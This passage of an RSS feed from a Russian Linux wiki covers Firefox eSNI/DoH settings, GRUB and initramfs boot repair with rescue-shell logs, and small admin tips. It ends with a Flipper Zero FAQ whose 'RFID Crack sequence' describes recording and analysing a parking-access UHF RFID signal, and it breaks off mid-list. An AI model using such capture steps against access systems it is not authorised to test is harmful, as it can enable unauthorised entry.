 Для работы eSNI желательна работа &lt;strong&gt;&lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;&lt;/strong&gt; over &lt;strong&gt;HTTPS&lt;/strong&gt;, так как публичный ключ для шифрования &lt;strong&gt;sni&lt;/strong&gt; берётся с поддомена &lt;strong&gt;_esni.example.com IN TXT&lt;/strong&gt;, так что желателен зашифрованный транспорт &lt;strong&gt;dns&lt;/strong&gt;. Для этого &lt;strong&gt;network.trr.mode&lt;/strong&gt; выставляем в 2 (или 3, чтобы был только TRR), а &lt;strong&gt;network.trr.uri&lt;/strong&gt; - &lt;strong&gt;mozilla.cloudflare-dns.com/dns-query&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
Можно еще прописать &lt;strong&gt;network.trr.bootstrapAddress&lt;/strong&gt;, иначе &lt;strong&gt;resolve&lt;/strong&gt; самого &lt;strong&gt;mozilla.cloudflare-dns.com&lt;/strong&gt; будет происходить через системный &lt;strong&gt;resolver&lt;/strong&gt; и лишь дальше установлена &lt;strong&gt;DoH&lt;/strong&gt; сессия с &lt;strong&gt;&lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;&lt;/strong&gt;, что вызывает проблемы, если сразу запустить &lt;strong&gt;Firefox&lt;/strong&gt; (Можно поставить &lt;strong&gt;1.0.0.1&lt;/strong&gt;, &lt;strong&gt;1.1.1.1&lt;/strong&gt; &lt;strong&gt;2606:4700:4700::1111&lt;/strong&gt; или &lt;strong&gt;2606:4700:4700::1001&lt;/strong&gt; или что там будет у 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dig mozilla.cloudflare-dns.com.&lt;/pre&gt;

&lt;p&gt;
(А там не обязательно эти адреса, но и любые из динамического облака &lt;strong&gt;cloudflare&lt;/strong&gt;.)) Подробнее про &lt;strong&gt;trr resolver&lt;/strong&gt;: &lt;a href=&quot;https://github.com/bagder/TRRprefs&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/bagder/TRRprefs&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/bagder/TRRprefs&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
Дальше нужно проверить, что все заработало)) Заходим на &lt;a href=&quot;https://www.cloudflare.com/ssl/encrypted-sni/&quot; class=&quot;urlextern&quot; title=&quot;https://www.cloudflare.com/ssl/encrypted-sni/&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.cloudflare.com/ssl/encrypted-sni/&lt;/a&gt; и нажимаем на &lt;strong&gt;Check My Browser&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 11 Oct 2019 13:27:28 +0000</pubDate>
        </item>
        <item>
            <title>fix_grub_initramfs_boot</title>
            <link>https://wiki.autosys.tk/linux_faq/fix_grub_initramfs_boot</link>
            <description>
&lt;p&gt;
Что делать, если вместо загрузки системы вы видите приглашение &lt;strong&gt;grub shell&lt;/strong&gt; или &lt;strong&gt;initramfs shell&lt;/strong&gt;.
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;grub&quot;&gt;GRUB&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В командной оболочке &lt;strong&gt;grub shell&lt;/strong&gt; нам нужно сделать три вещи:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Выбрать раздел откуда будем загружаться
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Выбрать ядро
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Выбрать ram-диск initrd
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
А потом выполнить команду &lt;strong&gt;boot&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;grub&amp;gt; set root=(hd1,gpt3)
grub&amp;gt; linux /boot/vmlinuz...
grub&amp;gt; initrd /boot/initrd...
grub&amp;gt; boot&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;GRUB&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;grub&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;160-596&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;initramfs&quot;&gt;initramfs&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Если после этого, система загружается, но не может смонтировать &lt;strong&gt;root&lt;/strong&gt; и вываливается в &lt;strong&gt;initramfs shell&lt;/strong&gt;, то нужно:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Смонтировать &lt;strong&gt;root&lt;/strong&gt; вручную
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Подмонтиовать (перенести) в смонтированный &lt;strong&gt;root&lt;/strong&gt; директории &lt;strong&gt;/dev&lt;/strong&gt;, &lt;strong&gt;/proc&lt;/strong&gt; и &lt;strong&gt;/sys&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Переключиться в смонтированный &lt;strong&gt;root&lt;/strong&gt; и запустить &lt;strong&gt;/sbin/init&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;pre class=&quot;code&quot;&gt;# First, find and mount the new filesystem.

   mkdir /newroot
   mount /dev/whatever /newroot
   mount /dev/whatever_efi /newroot/boot/efi/

   # Unmount everything else you&amp;#039;ve attached to rootfs.  (Moving the filesystems
   # into newroot is something useful to do with them.)

   mount --move /sys /newroot/sys
   mount --move /proc /newroot/proc
   mount --move /dev /newroot/dev&lt;/pre&gt;

&lt;p&gt;
Теперь можно попытаться либо загрузиться
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;   # Now switch to the new filesystem, and run /sbin/init out of it.  Don&amp;#039;t
   # forget the &amp;quot;exec&amp;quot; here, because you want the new init program to inherit
   # PID 1.

   exec switch_root /newroot /sbin/init&lt;/pre&gt;

&lt;p&gt;
Либо - починить загрузку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;update-grub
update-initramfs -u &lt;/pre&gt;

&lt;p&gt;
ИЛИ &lt;br/&gt;

В случае с &lt;strong&gt;Ubuntu&lt;/strong&gt; дефолтным рутом является директория &lt;strong&gt;/root&lt;/strong&gt;, поэтому можно делать так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# Обнаружим тома LVM
vgchamge -ay
mount /dev/mapper/ubuntu-root /root
mount --bind /dev /root/dev
mount --bind /proc /root/proc
mount --bind /sys /root/sys
exit&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;initramfs&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;initramfs&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;597-2259&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;чиним_grub_и_initramfs&quot;&gt;Чиним GRUB и initramfs&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
После того, как система нормально загрузилась восстанавливаем &lt;strong&gt;GRUB&lt;/strong&gt; и &lt;strong&gt;initramfs&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo grub-install --target=x86_64-efi --recheck --efi-directory=/boot/efi --boot-directory=/boot /dev/nvme0n1
sudo update-initramfs -u 
sudo update-grub
sudo reboot&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0427\u0438\u043d\u0438\u043c GRUB \u0438 initramfs&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0447\u0438\u043d\u0438\u043c_grub_\u0438_initramfs&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2260-2625&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;live-cd&quot;&gt;Live-CD&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Если есть возможность загрузиться с Live-CD, то починить загрузчик GRUB можно так:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Смонтировать &lt;strong&gt;root&lt;/strong&gt; (и &lt;strong&gt;/boot&lt;/strong&gt; при необходимости)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Подмонтировать в смонтированный &lt;strong&gt;root&lt;/strong&gt; директории &lt;strong&gt;/dev&lt;/strong&gt;, &lt;strong&gt;/proc&lt;/strong&gt; и &lt;strong&gt;/sys&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Выполнить &lt;strong&gt;chroot&lt;/strong&gt; в смонтированный &lt;strong&gt;root&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Починить &lt;strong&gt;grub&lt;/strong&gt; и &lt;strong&gt;initramfs&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Отмонтировать все и перезагрузиться
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;pre class=&quot;code&quot;&gt;mount /dev/sdb3 /mnt/ -o subvol=@
mount --rbind /dev /mnt/dev
mount --rbind /sys /mnt/sys
mount --rbind /proc /mnt/proc
mount /dev/sdb1 /mnt/boot/efi/&lt;/pre&gt;

&lt;p&gt;
В случае с зашифрованным LVM-томом все немного иначе. &lt;br/&gt;

имя &lt;strong&gt;nvme0n1p3_crypt&lt;/strong&gt; в команде &lt;strong&gt;luksOpen&lt;/strong&gt; должно соответствовать тому, что прописано в &lt;strong&gt;/etc/crypttab&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cryptsetup luksOpen /dev/nvme0n1p3 nvme0n1p3_crypt
mount /dev/mapper/vgkubuntu-root /mnt/
mount /dev/nvme0n1p2 /mnt/boot/
mount /dev/nvme0n1p1 /mnt/boot/efi/
mount --rbind /dev/ /mnt/dev/
mount --rbind /sys/ /mnt/sys/
mount --rbind /proc/ /mnt/proc/&lt;/pre&gt;

&lt;p&gt;
И после монтирования поправляем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;chroot /mnt/
grub-install /dev/sdb
update-initramfs -u
update-grub
exit
umount /mnt/boot/efi/
umount /mnt/dev
umount /mnt/sys
umount /mnt/proc
umount /mnt&lt;/pre&gt;

&lt;p&gt;
Я восстанавливал grub/initramfs после переноса системы (Ubuntu 24.04) на другой ноут с помощью &lt;strong&gt;dd&lt;/strong&gt; и у меня загружался только &lt;strong&gt;grub&lt;/strong&gt;, а потом - черный экран. &lt;br/&gt;

Загрузиться удалось из меню &lt;strong&gt;Advanced options for Ubuntu&lt;/strong&gt; → &lt;strong&gt;Recovery mode&lt;/strong&gt; → дальше загружалось ядро, initramfs запрашивал пароль для зашифрованного тома и можно было сделать &lt;strong&gt;Resume boot&lt;/strong&gt; &lt;br/&gt;

Вылечилось путем редактирования &lt;strong&gt;/etc/default/grub&lt;/strong&gt; и добавления в &lt;strong&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;/strong&gt; параметра &lt;strong&gt;nomodeset&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;quiet splash nomodeset&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Live-CD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;live-cd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2626-4902&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;fix_grub_mbr_-_gpt&quot;&gt;Fix GRUB MBR -&amp;gt; GPT&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Однажды мне понадобилось расширить диск в виртуалке. Объем существующего диска был увеличен, но диск имел таблицу разделов &lt;strong&gt;MBR&lt;/strong&gt; и основных разделов на нем было уже 4. То есть нужно было конвертить таблицу раздело в &lt;strong&gt;GPT&lt;/strong&gt;. Кроме того, все разделы этого диска были в &lt;strong&gt;LVM&lt;/strong&gt; и загрузка происходила непосредственно с &lt;strong&gt;LVM&lt;/strong&gt;-тома (в случае с &lt;strong&gt;MBR&lt;/strong&gt; &lt;strong&gt;GRUB&lt;/strong&gt; такое позволяет). &lt;br/&gt;

Конвертация происходила с помощью &lt;strong&gt;gdisk&lt;/strong&gt;. Он ругнулся при запуске на таблицу &lt;strong&gt;MBR&lt;/strong&gt;, а затем - я просто нажал &lt;strong&gt;w&lt;/strong&gt;, подтверждение - и всё - таблица разделов сконвертирована в &lt;strong&gt;GPT&lt;/strong&gt;. Затем - еще раз запустил &lt;strong&gt;gdisk&lt;/strong&gt;, создал новый раздел, на нем создал &lt;strong&gt;PhysicalVolume&lt;/strong&gt; ну и так далее. &lt;br/&gt;

При перезагрузке этого сервака выяснилось, что он не грузится. &lt;br/&gt;

Оказалось, что в случае, когда таблица разделов &lt;strong&gt;GPT&lt;/strong&gt;, а загрузка происходит с помощью &lt;strong&gt;BIOS&lt;/strong&gt; (не &lt;strong&gt;EFI&lt;/strong&gt;) - &lt;strong&gt;grub&lt;/strong&gt; нуждается в малюсеньком разделе (1-2Мб) &lt;strong&gt;BIOS boot partition&lt;/strong&gt;. &lt;br/&gt;

В итоге пришлось:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 раcширить диск еще немного (на 0.1Gi)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 загрузиться с &lt;strong&gt;LiveCD&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 сделать малюсенький раздел (с помощью &lt;strong&gt;gdisk&lt;/strong&gt;), дать ему тип &lt;strong&gt;EF02&lt;/strong&gt;. Примерно так:&lt;pre class=&quot;code&quot;&gt;#перемещаем таблицу разделов в конец диска
sgdisk -e -g /dev/sda
#перечитываем таблицу разделов
partx -u
#создаем новый раздельчик:
sgdisk -n 4:293605246:293609946 -t 4:EF02 /dev/sda&lt;/pre&gt;

&lt;p&gt;
 
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 перезагрузиться с &lt;strong&gt;LiveCD&lt;/strong&gt; еще раз, чтобы обнаружились партиции (у меня почему-то не сработали ни &lt;strong&gt;partprobe&lt;/strong&gt;, ни &lt;strong&gt;kpartx&lt;/strong&gt;)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 смонтировать корневой раздел (он в &lt;strong&gt;LVM&lt;/strong&gt; и &lt;strong&gt;/boot&lt;/strong&gt; с ядром тоже на нем же), например в &lt;strong&gt;/mnt&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 переустановить &lt;strong&gt;grub&lt;/strong&gt;: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;grub-install /dev/sda --root-directory=/mnt&lt;/pre&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
Всё. В итоге система поднялась.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Fix GRUB MBR -&amp;gt; GPT&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;fix_grub_mbr_-_gpt&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:8,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;4903-7567&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;real_fix&quot;&gt;Real Fix&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;/usr/sbin/grub-probe: error: disk `lvmid/N3HVdL-143p-0oFW-Gx6d-SroA-tA8e-1Icrfe/wpdsZY-qoqU-j7M1-LGSL-IA2p-hK6I-brvC9D&amp;#039; not found.&lt;/pre&gt;

&lt;p&gt;
смотрим диски
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;root@rescue ~ # lsscsi 
[N:0:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme0n1
[N:1:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme1n1
[N:2:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme2n1
[N:3:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme3n1
[N:4:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme4n1
[N:5:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme5n1
[N:6:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme6n1
[N:7:1:1]    disk    Micron_7300_MTFDHBE3T8TDF__1               /dev/nvme7n1&lt;/pre&gt;

&lt;p&gt;
Я знаю, что EFI находится на (hd1,gpt2), а / и /boot - на LVM-томе &lt;strong&gt;/dev/pve/root&lt;/strong&gt; &lt;br/&gt;

Монтируем root и биндим все что надо:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;root@rescue ~ # blkid /dev/pve/root
/dev/pve/root: UUID=&amp;quot;507da6be-c993-414a-91c1-fee245500c4d&amp;quot; BLOCK_SIZE=&amp;quot;4096&amp;quot; TYPE=&amp;quot;ext4&amp;quot;
root@rescue ~ # lsblk /dev/pve/root
NAME     MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
pve-root 253:0    0  96G  0 lvm  
root@rescue ~ # resize2fs /dev/pve/root 95G
resize2fs 1.46.2 (28-Feb-2021)
Please run &amp;#039;e2fsck -f /dev/pve/root&amp;#039; first.

root@rescue ~ # e2fsck -f /dev/pve/root
e2fsck 1.46.2 (28-Feb-2021)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/pve/root: 60013/6291456 files (0.2% non-contiguous), 1830899/25165824 blocks
root@rescue ~ # resize2fs /dev/pve/root 95G
resize2fs 1.46.2 (28-Feb-2021)
Resizing the filesystem on /dev/pve/root to 24903680 (4k) blocks.
The filesystem on /dev/pve/root is now 24903680 (4k) blocks long.

root@rescue ~ # lvreduce -L -1G /dev/pve/root
  WARNING: Reducing active logical volume to 95.00 GiB.
  THIS MAY DESTROY YOUR DATA (filesystem etc.)
Do you really want to reduce pve/root? [y/n]: y
  Size of logical volume pve/root changed from 96.00 GiB (24576 extents) to 95.00 GiB (24320 extents).
  Logical volume pve/root successfully resized.
root@rescue ~ # e2fsck -f /dev/pve/root
e2fsck 1.46.2 (28-Feb-2021)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/pve/root: 60013/6225920 files (0.2% non-contiguous), 1826787/24903680 blocks
root@rescue ~ # mount /dev/mapper/pve-root /mnt
root@rescue ~ #  mount -t proc proc /mnt/proc
root@rescue ~ #  mount -t sysfs sys /mnt/sys
root@rescue ~ #  mount -o bind /dev /mnt/dev
root@rescue ~ #  mount -t devpts pts /mnt/dev/pts/
root@rescue ~ #  chroot /mnt
root@rescue:/# mount /dev/nvme0n1p2 /boot/efi/
root@rescue:/#  update-grub
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-5.13.19-1-pve
Found initrd image: /boot/initrd.img-5.13.19-1-pve
Found memtest86+ image: /boot/memtest86+.bin
Found memtest86+ multiboot image: /boot/memtest86+_multiboot.bin
done
root@rescue:/# grub-install /dev/nvme0n1
Installing for i386-pc platform.
Installation finished. No error reported.
root@rescue:/# exit
exit
root@rescue ~ # umount /mnt/proc
root@rescue ~ # umount /mnt/sys
root@rescue ~ # umount /mnt/dev/pts 
root@rescue ~ # umount /mnt/dev
root@rescue ~ # umount /mnt/boot/efi 
root@rescue ~ # umount /mnt&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Real Fix&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;real_fix&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:10,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;7568-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 17 Mar 2026 10:38:53 +0000</pubDate>
        </item>
        <item>
            <title>fix_homedir_acl</title>
            <link>https://wiki.autosys.tk/linux_faq/fix_homedir_acl</link>
            <description>
&lt;p&gt;
Дать на все файлы права на чтение владельцу и права на листинг директорий:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;DIR=/home/abondar
chmod 0600 $DIR -R
find $DIR -type d -exec sh -c &amp;#039;chmod 0700 $0&amp;#039; {} \;&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 04 Feb 2022 10:04:02 +0000</pubDate>
        </item>
        <item>
            <title>fix_thin_lvm</title>
            <link>https://wiki.autosys.tk/linux_faq/fix_thin_lvm</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://www.unixrealm.com/?p=12000&quot; class=&quot;urlextern&quot; title=&quot;https://www.unixrealm.com/?p=12000&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.unixrealm.com/?p=12000&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://github.com/jthornber/thin-provisioning-tools&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/jthornber/thin-provisioning-tools&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/jthornber/thin-provisioning-tools&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get update &amp;amp;&amp;amp; apt-get install git autoconf g++ libexpat1-dev libaio-dev libaio1 make libboost-dev
git clone https://github.com/jthornber/thin-provisioning-tools.git
cd thin-provisioning-tools/
autoconf
./configure
make install&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 25 Sep 2019 06:56:24 +0000</pubDate>
        </item>
        <item>
            <title>flipper_zero</title>
            <link>https://wiki.autosys.tk/linux_faq/flipper_zero</link>
            <description>
&lt;p&gt;
Flipper Zero &lt;abbr title=&quot;Frequently Asked Questions&quot;&gt;FAQ&lt;/abbr&gt;
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;firmwares&quot;&gt;Firmwares&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Extreme - &lt;a href=&quot;https://flipper-xtre.me/&quot; class=&quot;urlextern&quot; title=&quot;https://flipper-xtre.me/&quot; rel=&quot;ugc nofollow&quot;&gt;https://flipper-xtre.me/&lt;/a&gt; , &lt;a href=&quot;https://github.com/ClaraCrazy/Flipper-Xtreme&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/ClaraCrazy/Flipper-Xtreme&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/ClaraCrazy/Flipper-Xtreme&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Unleashed - &lt;a href=&quot;https://github.com/DarkFlippers/unleashed-firmware&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/DarkFlippers/unleashed-firmware&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/DarkFlippers/unleashed-firmware&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Firmwares&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;firmwares&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;19-196&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;rfid_crack_sequence&quot;&gt;RFID Crack sequence&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Определить тип RFID и рабочую частоту.
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 LF: 120-1355 kHz                 (HID Prox, EM, Nedap NeXS)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 HF: 13.56 &lt;abbr title=&quot;Megahertz&quot;&gt;MHz&lt;/abbr&gt; –                      (MIFARE Classic, DESfire, HID iCLASS, Legic)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 UHF: 860 – 980 &lt;abbr title=&quot;Megahertz&quot;&gt;MHz&lt;/abbr&gt;                 (RAIN RFID/EPC Gen 2)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Microwave: 2.45 &lt;abbr title=&quot;Gigahertz&quot;&gt;GHz&lt;/abbr&gt; and &amp;gt;        (Nedap TRANSIT)
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
ЧТо я пытался сделать:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 С помощью Frequency Analyzer определяю что мой UHF RFID работает на частоте 915 Mhz. &lt;br/&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Дальше - записываю с помощью &lt;strong&gt;SubGhz&lt;/strong&gt; → &lt;strong&gt;Read RAW&lt;/strong&gt; передачу, предварительно выбрав частоту 915 и модуляцию AM650.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 с помощью &lt;strong&gt;qFlipper&lt;/strong&gt; копирую файлик .sub на компик
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Визуализирую записанное с помощью &lt;a href=&quot;https://github.com/cberetta/flipperzero_scripts&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/cberetta/flipperzero_scripts&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/cberetta/flipperzero_scripts&lt;/a&gt; : &lt;pre class=&quot;code&quot;&gt;wget https://raw.githubusercontent.com/cberetta/flipperzero_scripts/master/fzsubtk.py
chmod +x ./fzsubtk.py
fzsubtk.py ./parking_raw.sub&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Для работы с UHF RFID существует софт и модуль YRM100 (~$40) - &lt;a href=&quot;https://github.com/frux-c/uhf_rfid&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/frux-c/uhf_rfid&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/frux-c/uhf_rfid&lt;/a&gt; а вот готовый модуль под флиппера - &lt;a href=&quot;https://www.redteamtools.com/flippermeister/&quot; class=&quot;urlextern&quot; title=&quot;https://www.redteamtools.com/flippermeister/&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.redteamtools.com/flippermeister/&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
